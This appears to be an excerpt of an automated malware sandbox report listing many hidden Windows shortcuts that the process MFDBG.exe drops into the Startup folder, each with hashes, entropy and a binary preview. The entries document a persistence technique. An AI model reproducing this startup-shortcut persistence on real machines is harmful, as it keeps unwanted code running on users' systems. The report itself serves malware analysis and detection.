File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923113015945739
Encrypted:	false
SSDEEP:	24:8qBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ofEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B59B81DCC1074B37EC6ABEC608BA3D5D
SHA1:	3FF5779A24624D1CD554B3DBA299BE8557A1C5F2
SHA-256:	E56D9933331D4EBD1CCB1B2F70A57DB626CA789D937978B60496EF05E4DCD3E5
SHA-512:	E2F7B7691B344317A5947B5D49EFAFF5226E2E1F0E1DDA94A762C4F102DE0560D52072F767F3FEE3F96FDB7FFC35857CD63F572B970DEE76B5FEFC2218663F85
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_786c94951cdf441d9c85dcf28e6f3c76.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595955
Encrypted:	false
SSDEEP:	24:8pBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8T4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5747265ACC26E37E3BD2DA778C0CC623
SHA1:	665D84A8D690326AE74C4253703E1AF80280E670
SHA-256:	CCE7D4075FF8CF64BC56A3A240BCF4D96B5FF3C897D6A195258DEBB96B575756
SHA-512:	5C4D3E82C51D7A5A8EABB145245EBBF4A7149F62D57651CD87A10A32957BAE20497D862F60AFEB2C4E9B3B2E0F762635610CBFC2FB6A25C2425186BB582B1DA1
Malicious:	false
Preview:	L..................F....".......d....n.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7888feb0a5fb47bbace9a40e1e8eb633.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922570282003808
Encrypted:	false
SSDEEP:	24:8nBfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	666B66D0B5D384E93B0D0CCFB10B04CD
SHA1:	DAD55D9EC79746480744313662D9F2163E00C065
SHA-256:	275C3A2013E0DF5EB0564737F81D19B55D8E0E64BC130869B7B5C246EE396A7E
SHA-512:	B73CA9493D8DAA0577D2048B821B058FCA506484BCC22336DC0E03D3F2FBAF7FB1DB2DDB337E1F0941689CEC9E85222F5112DA105B98E08AE9DDFE3724A60855
Malicious:	false
Preview:	L..................F....".......d....B..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_790afdb9b26a4938a832a6e29bf2fc3b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:12 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920331313864579
Encrypted:	false
SSDEEP:	24:8XBf+p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xGOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	53CB7A739F786CC2BC2091FC291579F8
SHA1:	AAA0B3632E566139C8188A561C2B3F87D79836D7
SHA-256:	C6E8E2541AB8A5E4C1EEA9B8BAB7BBAAE874047BA256BA8CF975750B19525BCC
SHA-512:	D3157AA7DCB4F2BD7DB2612302EE73F41486F7AA7F1455C0D15557405412E7FFE09801A176A985E4FAD5153A14A4D3A18D0DEDCACA5F948D13A91A514124ED72
Malicious:	false
Preview:	L..................F....".......d...P..%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....F.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79af07fec4fc4dffb0f71d54ea8bb3a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924207542400218
Encrypted:	false
SSDEEP:	24:8fBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D74149D498764E03FA210BD01D6B830E
SHA1:	45B7DB93D7936A56E2F10E762688C8090714D831
SHA-256:	A711E0EC7BAF2F97D81E02C470820971C291F2F3702087B8DDFD6DFC40C4B5A7
SHA-512:	FE1F8C68FA2997AFD73D39BA29B5B0D0213719DA2FFDCBA11C9DC54CC39F91C4AF28D370FE6C5A032594D788E6D6BDF68A9E703FC12D826E3962FFA7826CEF97
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79e1e46edc424547965f7e9b0b1629db.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921555651677866
Encrypted:	false
SSDEEP:	24:8RBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8r7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	18710A425238859FE0F72B500AA4DDDA
SHA1:	57BA6880221A0FDF38EE6904DA3654F63756BF14
SHA-256:	F8009E94CF3CF72F83A8B5B61A567A52EB03ACA15C3E758FF6577EA5132973DD
SHA-512:	20A0A9ED571E46A12F0E25B365DB691773B89966480932ACCA404C150352DCAC4A02C21837A52C30550ED8E6C2D4D79D73E1F6033E59E83AE43C7258026909C4
Malicious:	false
Preview:	L..................F....".......d...Y..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79e3a83024444e6f8b8973db9f96a1a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919865742000293
Encrypted:	false
SSDEEP:	24:8qBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CD3A948717C829AC2D3E828ABEB966B2
SHA1:	5A3976A37B3F0E71CFC29139E19C84BDBEB8A997
SHA-256:	8A53FE828AB4FC2EFC148833E73195A91445C3D157FB8A00F0B730D318C522E3
SHA-512:	50D1C7181D12C8D6809D3D28A6B186CB22C0527D9EEFD072BDC30FA4243484BD7F1FAF1B5D92E089B20A37E81FB5BB8E83B9CDB0A60588D6AAFBD5F81E3C3ABD
Malicious:	false
Preview:	L..................F....".......d...evM~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7a501abc8da944778feaab3aa8e5f6cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920595326126993
Encrypted:	false
SSDEEP:	24:88BfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8y9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BEF0708F476F9A91AC389777263DA826
SHA1:	22D9CA316F926B997A873E84DA421F8498864F7C
SHA-256:	666354A3AE51DE6E082736DF6C3808A3DAC8A5141373B13B953799865B5D81A8
SHA-512:	6E0A475BB315E3A77FA31A7D42B34B8EC3599940B8317E61533989D7503D02C7963B000B35DB8ED14070D396782D0C708EF596832028084E6CFA8970E79DCC24
Malicious:	false
Preview:	L..................F....".......d.....=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ac4456d43924e9b8ef6ab24d8065711.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916028821808284
Encrypted:	false
SSDEEP:	24:8KBfF8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8I6EvZ0yRO7DLO2zdxdRd1kyg
MD5:	048451AF695483F0F2F5A82543E0E8BF
SHA1:	AA1E34211E13E82B6920FD5485708E18F1861146
SHA-256:	DABA6739B20A46DC0EE4C642459F56A84C67C9C1D31F115F3ABA5B8977CAB142
SHA-512:	2B9CA02D47FF302519E94C8ACCD7A57DD3200D0AD01E6B3F2C8BDBB0E37CD88E08620CA7485EA6BA8EB86C96E67C21BF63738F6CBAC4941345A0F5878FB0375D
Malicious:	false
Preview:	L..................F....".......d...S..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ad61541948b45659733340ad8658fb0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670844
Encrypted:	false
SSDEEP:	24:8dBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8P4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	6DC2EF4D02FBAEE0A56BAE4DEB28A84C
SHA1:	0A3E7AA6ADC4C6EA6FA444E39C48CCD1FCC39C50
SHA-256:	F8235B74DFA277B354018376176676C6E56427FE5DA370B3E637AF44175DC033
SHA-512:	626A75D2B8F12024FEA9DCF7BCEB58EF50677742701033D4C0182093301A302D89E1239CD25B9200A6C9D21F47C5C43407A9BD6E9D22C22AA5811A602867E619
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b62e7c66584481cb19702e900bbb857.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9184437643441825
Encrypted:	false
SSDEEP:	24:8UGBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UMFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	267B4D791F2400BAD421F0E61B250FF1
SHA1:	935B1284D00265242FAC8B88888ECF7056328285
SHA-256:	15BC564AB28E97F8E7F6466B577FC6A50F76C4D2151293E41D059CD80EECA142
SHA-512:	6603DC707F362909950C51388BC046B91C15B77B428168C1BA80B6698838B0501618358C9718E3DF207B2BFF9FCB3075B60962F1CA40D9D44FE1D82927BBAB70
Malicious:	false
Preview:	L..................F....".......d...t..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b74a53932f841aeac139c8bb463a6e2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9267086353881195
Encrypted:	false
SSDEEP:	24:84Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2105991D9BA8C3FCBAE7C3C1119CDBFE
SHA1:	6D1C7211BD68E8B1D2A187D65CEAF58912467BAD
SHA-256:	D832F92ABEA53872FE41C306529E1274DD943DC15CDA23E139EEDFBA0256739E
SHA-512:	D25D41FF87D478F68A0C80720755A1E5AB381E75658FA615135955981D94DE0DD334320AF890D4035AD363CF2526EBE3965B181E97E42C012C322C5734A84133
Malicious:	false
Preview:	L..................F....".......d...6..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b7609458f544bed953b3e09f89b5036.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9228034648289105
Encrypted:	false
SSDEEP:	24:89BfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9DCDAA592558FBB07C1D1C730D74FA7E
SHA1:	97D8E16566482412663D57D72A335226599D977C
SHA-256:	C7AF00C8B90C3C93A126FD1483DC4DB880B2AEBAD8EE40E6213194C57C340A25
SHA-512:	4D09EA5163D98C555663E7BBF8CC60A35A77BA718BFCFC6948957BF178211599AEAD4E42E4799C152F3D5B33090978CD1468EA66557A26578EF3601E85E5C2FC
Malicious:	false
Preview:	L..................F....".......d....h..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b80b4e8974343398eaed2592f5f104d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
